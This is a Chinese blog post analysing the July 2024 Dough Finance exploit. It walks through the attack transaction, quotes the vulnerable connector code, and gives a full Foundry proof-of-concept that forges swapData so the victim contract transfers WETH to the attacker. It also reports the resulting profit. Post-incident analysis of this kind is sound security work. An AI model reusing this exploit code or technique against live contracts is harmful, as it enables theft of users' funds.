Dough Finance攻击事件---合约也有RCE

  • 黑梨888
  • 更新于 2024-07-31 20:09
  • 阅读 549

7.12DoughFinance合约遭受攻击,损失约1.8M。我对这个攻击进行了代码分析和步骤分解,并写了一个基于foundry的poc。

7.12 DoughFinance合约遭受攻击,损失约1.8M(https://x.com/Phalcon_xyz/status/1811661050707607889) 我对这个攻击进行了代码分析和步骤分解,并写了一个基于foundry的poc。 之前觉得web3不存在Remote Code Execution,现在看是我浅薄了。

基本信息

攻击交易:https://app.blocksec.com/explorer/tx/eth/0x92cdcc732eebf47200ea56123716e337f6ef7d5ad714a2295794fdc6031ebb2e?line=76 受害合约代码: https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6 受害与攻击者链上message transaction:https://etherscan.io/tx/0x38ad3247c6420518c829ff1163c36cd564de5a72b1eaf800437827365e6c4e85 受害合约官方文档: https://docs.dough.finance/

攻击交易步骤解析

下面我对攻击中重点步骤进行解释: image.png

  • 5行:从balancer里借出usdc闪电贷(USDC 938,566,826,811)
  • 12行:balancer回调攻击合约的receiveFlashLoan方法。黑客的攻击逻辑就是在这个步骤里实现的。
  • 13-16行:攻击合约给替doughDSA合约偿还在aave中的借贷。(黑客为什么帮被害合约还款?我的推测是,后面要调用被害合约的闪电贷逻辑,这个逻辑最底层是调用aave的闪电贷,如果这个时候被害合约已经有aave欠款,那么后面就无法顺利调用有漏洞的逻辑。)
  • 45行:攻击合约给ConnectorDeleverageParaswap合约 转了6U的USDC。为什么要这么做:当后续步骤调用他的闪电贷借贷5U,他底层逻辑调用需要转给doughDSA 5U,所以他必须至少有5U。
  • 52行:攻击重点代码:攻击合约从ConnectorDeleverageParaswap合约中调用方法flashloanReq借出闪电贷,币种是usdc,价值5,000,000。其实这个数不大,去掉精度就只有5U,只是想触发后面的漏洞代码。在这次调用中,最后一个参数“SwapData”是byte类型,这个bytes最终会被解析成7个参数然后被doughDSA的call执行,黑客就是伪造了这个swapData参数,让doughDSA合约call了weth的transferFrom方法,直接给黑客合约transfer了大量的weth。具体构造信息可以看我的PoC的109行和119行。
  • 53行:ConnectorDeleverageParaswap的flashloanReq底层调用了aace flashloan,所以ConnectorDeleverageParaswap实现闪电贷的逻辑就是帮用户向aave进行闪电贷,自己是一个中间商。 image.png
  • 63行:因为52调用了ConnectorDeleverageParaswap的闪电贷,所以63行回调闪电贷的executeOperation的还款逻辑。
  • 69行:攻击者合约执行闪电贷回调逻辑executionAction。这里面可以看出,黑客的没有实现任何逻辑,只是一个空函数。 image.png
  • 144行:回到ConnectorDeleverageParaswap的闪电贷回调逻辑,ConnectorDeleverageParaswap授权aave 最大数量的usdc转账额度。
  • 147行:由于第52行的swapData注入了攻击参数,DoughDSA合约划转596,844,648,055,377,423,623个weth给攻击合约。这个就是最后导致资损的操作。 image.png
  • 209-212行:攻击合约通过uniswap 把偷到的weth换成UDSC。(因为还要还balancer的闪电贷,不把weth换成usdc无法偿还全部额度。)
  • 225行:攻击合约偿还balancer闪电贷。
  • 230行:攻击合约把获利转到自己的钱包。最终完成攻击合约自己的闪电贷逻辑。

    问题代码分析

    漏洞代码:https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6 flashloanReq方法是用户用来调用闪电贷的外部方法,在生命中可以看到最后一个参数swapData会被解析成data然后传入flashloan函数。

    function flashloanReq(bool _opt, address[] memory debtTokens, uint256[] memory debtAmounts, uint256[] memory debtRateMode, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory swapData) external { bytes memory data = abi.encode(_opt, msg.sender, collateralTokens, collateralAmounts, swapData); IPool(address(POOL)).flashLoan(address(this), debtTokens, debtAmounts, debtRateMode, address(this), data, 0); } 这个flashloan最终会调用executeOperation方法,并且data参数也传入了进来。在下面代码的第六行,data参数被decode成5个变量,包括一个bytes数组类型的变量multiTokenSwapData。这个变量作为参数传入到deloopInOneOrMultipleTransactions方法。

    function executeOperation(address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes calldata data) external override returns (bool) { if (initiator != address(this)) revert CustomError("not-same-sender"); if (msg.sender != address(POOL)) revert CustomError("not-aave-sender");

    FlashloanVars memory flashloanVars;
    (flashloanVars.opt, flashloanVars.dsaAddress, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData) = abi.decode(data, (bool, address, address[], uint256[], bytes[]));
    
    deloopInOneOrMultipleTransactions(flashloanVars.opt, flashloanVars.dsaAddress, assets, amounts, premiums, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData);
    
    return true;

    } deloopInOneOrMultipleTransactions方法中,multiTokenSwapData变量被传入到deloopAllCollaterals

    function deloopInOneOrMultipleTransactions(bool opt, address _dsaAddress, address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory multiTokenSwapData) private { // Repay all flashloan assets or withdraw all collaterals repayAllDebtAssetsWithFlashLoan(opt, _dsaAddress, assets, amounts);

    // Extract all collaterals
    extractAllCollaterals(_dsaAddress, collateralTokens, collateralAmounts); 
    
    // Deloop all collaterals
    deloopAllCollaterals(multiTokenSwapData);
    
    // Repay all flashloan assets or withdraw all collaterals
    repayFlashloansAndTransferToTreasury(opt, _dsaAddress, assets, amounts, premiums);

    } deloopAllCollaterals方法中,multiTokenSwapData被解码成7个变量,并且第6个变量代表一个合约地址,第7个变量代表要调用的这个合约某个方法的声明(例如:transferFrom(address,address,uint256))。 所以在下述代码的第10行,黑客通过构造最终的swapData,让weth合约从doughDSA合约中转出了大量的weth给黑客合约。

    function deloopAllCollaterals(bytes[] memory multiTokenSwapData) private {
    FlashloanVars memory flashloanVars;

    for (uint i = 0; i < multiTokenSwapData.length;) {
        // Deloop
        (flashloanVars.srcToken, flashloanVars.destToken, flashloanVars.srcAmount, flashloanVars.destAmount, flashloanVars.paraSwapContract, flashloanVars.tokenTransferProxy, flashloanVars.paraswapCallData) = _getParaswapData(multiTokenSwapData[i]);
    
        // using ParaSwap
        IERC20(flashloanVars.srcToken).safeIncreaseAllowance(flashloanVars.tokenTransferProxy, flashloanVars.srcAmount);
        (flashloanVars.sent, ) = flashloanVars.paraSwapContract.call(flashloanVars.paraswapCallData);
        if (!flashloanVars.sent) revert CustomError("ParaSwap deloop failed");
    
        unchecked { i++; }
    }

    }

PoC

PoC思路还是比较简单的:

  1. 借balancer闪电贷
  2. 帮doughDSA偿还欠aave的钱
  3. 给doughConnector转6u以防他后续操作没有钱
  4. 调用doughConnect的闪电贷,把恶意swapData传入
  5. 把不法所得weth换成usdc,然后偿还balance闪电贷 通过在foundry上运行poc,一次可套利83W个USDC: image.png

代码如下:

pragma solidity ^0.8.13;

import  "forge-std/Test.sol";
import "./interface.sol";

contract doughFianceAttack is Test {
    address balancerVaultAddress=0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    address aaveDebtUsdcToken=0x72E95b8931767C79bA4EeE721354d6E99a61D004;
    address aavePoolV3Address=0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
    address UniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address circleUSDCToken=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address doughDsa=0x534a3bb1eCB886cE9E7632e33D97BF22f838d085;
    address doughConnector=0x9f54e8eAa9658316Bb8006E03FFF1cb191AafBE6;
    address wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    struct FlashloanVars {
        address dsaAddress;
        address srcToken;
        address destToken;
        address paraSwapContract;
        address tokenTransferProxy;
        uint256 srcAmount;
        uint256 destAmount;
        bool opt; // deloop 100% or in multiple steps
        bool sent;
        bytes paraswapCallData;
        bytes[] multiTokenSwapData;
        address[] debtTokens;
        address[] collateralTokens;
        uint256[] debtAmounts;
        uint256[] debtRateMode;
        uint256[] collateralAmounts;
    }

    function setUp() external {

        vm.createSelectFork("https://eth.llamarpc.com", 20288623 - 1);
        deal(address(circleUSDCToken), address(this), 7e6);

    }

    function testAttack() external{
        //0. 先打印攻击前账户余额
        console.log("*******************before attack*******************");
        console.log("USDC: ",IERC20(circleUSDCToken).balanceOf(address(this)));
        //1. 闪电贷
        uint256 flashLoanAmount=IERC20(aaveDebtUsdcToken).balanceOf(0x534a3bb1eCB886cE9E7632e33D97BF22f838d085);
        address[] memory tokens=new address[](1);
        tokens[0]=circleUSDCToken;
        uint256[] memory amounts=new uint256[](1);
        amounts [0]=flashLoanAmount;
        (FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();
        bytes memory maliciousUserData=abi.encode([flashloanVars1,flashloanVars2]);
        iBalancerVault(payable(balancerVaultAddress)).flashLoan(address(this),tokens,amounts,maliciousUserData);
    }

    function receiveFlashLoan (address[] memory tokens,uint256[] memory amounts,uint256[] memory feeAmounts,bytes memory userData) external {
        //2. 替doughDsa还掉当前在aave的借贷,虽然我没想明白为什么帮它还款????
        IERC20(circleUSDCToken).approve(aavePoolV3Address,type(uint256).max);
        InitializableImmutableAdminUpgradeabilityProxy aavePoolV3 = InitializableImmutableAdminUpgradeabilityProxy(payable(aavePoolV3Address));
        aavePoolV3.repay(circleUSDCToken,amounts[0],2,doughDsa);
        //3. 给dough转6个 USDC
        IERC20(circleUSDCToken).approve(address(this),type(uint256).max);
        IERC20(circleUSDCToken).transferFrom(address(this),doughConnector,6e6);
        //4. 调用dough的闪电贷,并把精心构造的恶意userData作为参数传入。
        ConnectorDeleverageParaswap DoughConnector = ConnectorDeleverageParaswap(payable(doughConnector));
        uint256[] memory doughFlashDebtAmounts=new uint256[](1);
        doughFlashDebtAmounts[0]=5e6;
        uint256[] memory doughFlashRateModes=new uint256[](1);
        doughFlashRateModes[0]=0;
        address[] memory doughFlashCollaterals=new address[](0);
        uint256[] memory doughFlashAmounts=new uint256[](0);
       (FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();
        bytes[] memory maliciousUserData = new bytes[](2);
         maliciousUserData[0]=abi.encode(flashloanVars1.srcToken,flashloanVars1.destToken,flashloanVars1.srcAmount,flashloanVars1.destAmount,flashloanVars1.paraSwapContract,flashloanVars1.tokenTransferProxy,flashloanVars1.paraswapCallData);
         maliciousUserData[1]=abi.encode(flashloanVars2.srcToken,flashloanVars2.destToken,flashloanVars2.srcAmount,flashloanVars2.destAmount,flashloanVars2.paraSwapContract,flashloanVars2.tokenTransferProxy,flashloanVars2.paraswapCallData);

        DoughConnector.flashloanReq(false,tokens,doughFlashDebtAmounts,doughFlashRateModes,doughFlashCollaterals,doughFlashAmounts,maliciousUserData);

        //5.把薅来的weth换成usdc,用于最后还闪电贷
        uint256 wethBalance=IERC20(wethAddress).balanceOf(address(this));
        IERC20(wethAddress).approve(UniswapV2Router,type(uint256).max);
        //IERC20(wethAddress).approve(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc,type(uint256).max);
        uint256 wethBalance2=IERC20(wethAddress).balanceOf(address(this));
        address[] memory swapAddress=new address[](2);
        swapAddress[0]=wethAddress;
        swapAddress[1]=circleUSDCToken;
        UniswapV2Router02(payable(UniswapV2Router)).swapExactTokensForTokens(wethBalance2,0,swapAddress,address(this),496744648055377423623);

        //6.还balancerVault闪电贷
        IERC20(circleUSDCToken).transfer(balancerVaultAddress,amounts[0]);
        //0. 打印攻击后账户余额
        console.log("*******************after attack*******************");
        console.log("USDC: ",IERC20(circleUSDCToken).balanceOf(address(this)));
    }
    function executeAction(uint256 connectorId, address tokenIn, uint256 amountIn, address toeknOut, uint256 amountOut, uint256 actionId) external{
    }

    function createMaliciousData() private returns(FlashloanVars memory data1,FlashloanVars memory data2){
        //
        FlashloanVars memory flashloanVars1;
        flashloanVars1.srcToken=circleUSDCToken;
        flashloanVars1.destToken=circleUSDCToken;
        flashloanVars1.srcAmount=type(uint128).max;
        flashloanVars1.destAmount=type(uint128).max;
        flashloanVars1.paraSwapContract=doughDsa;
        flashloanVars1.tokenTransferProxy=doughDsa;
        bytes4 selector1=bytes4(keccak256("executeAction(uint256,address,uint256,address,uint256,uint256)"));
        flashloanVars1.paraswapCallData=abi.encodeWithSelector(selector1, 22,circleUSDCToken,5e6,wethAddress,596744648055377423623,2);

        FlashloanVars memory flashloanVars2;
        flashloanVars2.srcToken=circleUSDCToken;
        flashloanVars2.destToken=circleUSDCToken;
        flashloanVars2.srcAmount=type(uint128).max;
        flashloanVars2.destAmount=type(uint128).max;
        flashloanVars2.paraSwapContract=wethAddress;
        flashloanVars2.tokenTransferProxy=aavePoolV3Address;
        bytes4 selector2=bytes4(keccak256("transferFrom(address,address,uint256)"));
        flashloanVars2.paraswapCallData=abi.encodeWithSelector(selector2, doughDsa,address(this),596744648055377423623);
        return (flashloanVars1,flashloanVars2);

    }
    receive() external payable {}
}

经验总结

  1. 写poc的时候也学习了下abi,很好的一次尝试,收获很多。之前看到传bytes参数都想绕着走,这回不得不面对。
  2. 底层方法call使用的时候要谨慎,因为不好确认最终执行的方法是什么。
  3. 用户输入检查一万遍也是值得的,无论在web2还是web3.

    Reference

  4. 一篇英文分析:https://www.certik.com/resources/blog/3SMOuGMCSttY4pQW6I49W2-dough-finance-incident-analysis
  5. 写poc卡住的时候,我参考了这个poc(主要是bytes userInput的生成我偷瞄了他的写法):https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-07/DoughFina_exp.sol
点赞 3
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~